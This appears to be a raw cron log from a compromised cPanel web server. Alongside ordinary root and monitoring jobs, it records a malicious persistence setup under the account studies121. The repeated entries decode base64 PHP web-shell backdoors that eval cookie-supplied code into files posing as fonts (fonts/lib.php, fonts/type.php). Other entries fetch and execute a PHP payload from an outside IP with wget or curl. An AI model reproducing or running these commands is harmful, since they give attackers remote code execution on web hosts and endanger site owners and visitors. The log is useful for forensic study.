Sep 20 07:03:01 ip-184-168-122-23 CROND[29608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:03:01 ip-184-168-122-23 CROND[29609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:03:01 ip-184-168-122-23 CROND[29611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:03:01 ip-184-168-122-23 CROND[29610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:04:01 ip-184-168-122-23 CROND[29852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:04:01 ip-184-168-122-23 CROND[29854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:04:01 ip-184-168-122-23 CROND[29858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:04:01 ip-184-168-122-23 CROND[29856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:04:01 ip-184-168-122-23 CROND[29857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:05:01 ip-184-168-122-23 CROND[30108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:05:01 ip-184-168-122-23 CROND[30109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:05:01 ip-184-168-122-23 CROND[30114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:05:01 ip-184-168-122-23 CROND[30116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:05:01 ip-184-168-122-23 CROND[30112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:05:01 ip-184-168-122-23 CROND[30111]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 07:05:01 ip-184-168-122-23 CROND[30113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:06:01 ip-184-168-122-23 CROND[30357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:06:01 ip-184-168-122-23 CROND[30360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:06:01 ip-184-168-122-23 CROND[30359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:06:01 ip-184-168-122-23 CROND[30362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:06:01 ip-184-168-122-23 CROND[30361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:07:01 ip-184-168-122-23 CROND[30613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:07:01 ip-184-168-122-23 CROND[30614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:07:01 ip-184-168-122-23 CROND[30617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:07:01 ip-184-168-122-23 CROND[30618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:08:01 ip-184-168-122-23 CROND[30863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:08:01 ip-184-168-122-23 CROND[30865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:08:01 ip-184-168-122-23 CROND[30864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:08:01 ip-184-168-122-23 CROND[30869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:08:01 ip-184-168-122-23 CROND[30870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:09:01 ip-184-168-122-23 CROND[31255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:09:01 ip-184-168-122-23 CROND[31257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:09:01 ip-184-168-122-23 CROND[31259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:09:01 ip-184-168-122-23 CROND[31260]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 07:09:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:10:01 ip-184-168-122-23 CROND[31516]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:10:01 ip-184-168-122-23 CROND[31518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:10:01 ip-184-168-122-23 CROND[31519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:10:01 ip-184-168-122-23 CROND[31520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:10:01 ip-184-168-122-23 CROND[31521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:10:01 ip-184-168-122-23 CROND[31524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:10:01 ip-184-168-122-23 CROND[31523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 07:10:01 ip-184-168-122-23 CROND[31522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:11:01 ip-184-168-122-23 CROND[31787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:11:01 ip-184-168-122-23 CROND[31789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:11:01 ip-184-168-122-23 CROND[31788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:11:01 ip-184-168-122-23 CROND[31792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:12:01 ip-184-168-122-23 CROND[32029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:12:01 ip-184-168-122-23 CROND[32031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:12:02 ip-184-168-122-23 CROND[32035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:12:02 ip-184-168-122-23 CROND[32038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:12:02 ip-184-168-122-23 CROND[32036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:13:01 ip-184-168-122-23 CROND[32296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:13:01 ip-184-168-122-23 CROND[32297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:13:01 ip-184-168-122-23 CROND[32299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:13:01 ip-184-168-122-23 CROND[32300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:14:01 ip-184-168-122-23 CROND[32610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:14:01 ip-184-168-122-23 CROND[32611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:14:01 ip-184-168-122-23 CROND[32614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:14:01 ip-184-168-122-23 CROND[32616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:14:01 ip-184-168-122-23 CROND[32615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:15:01 ip-184-168-122-23 CROND[419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
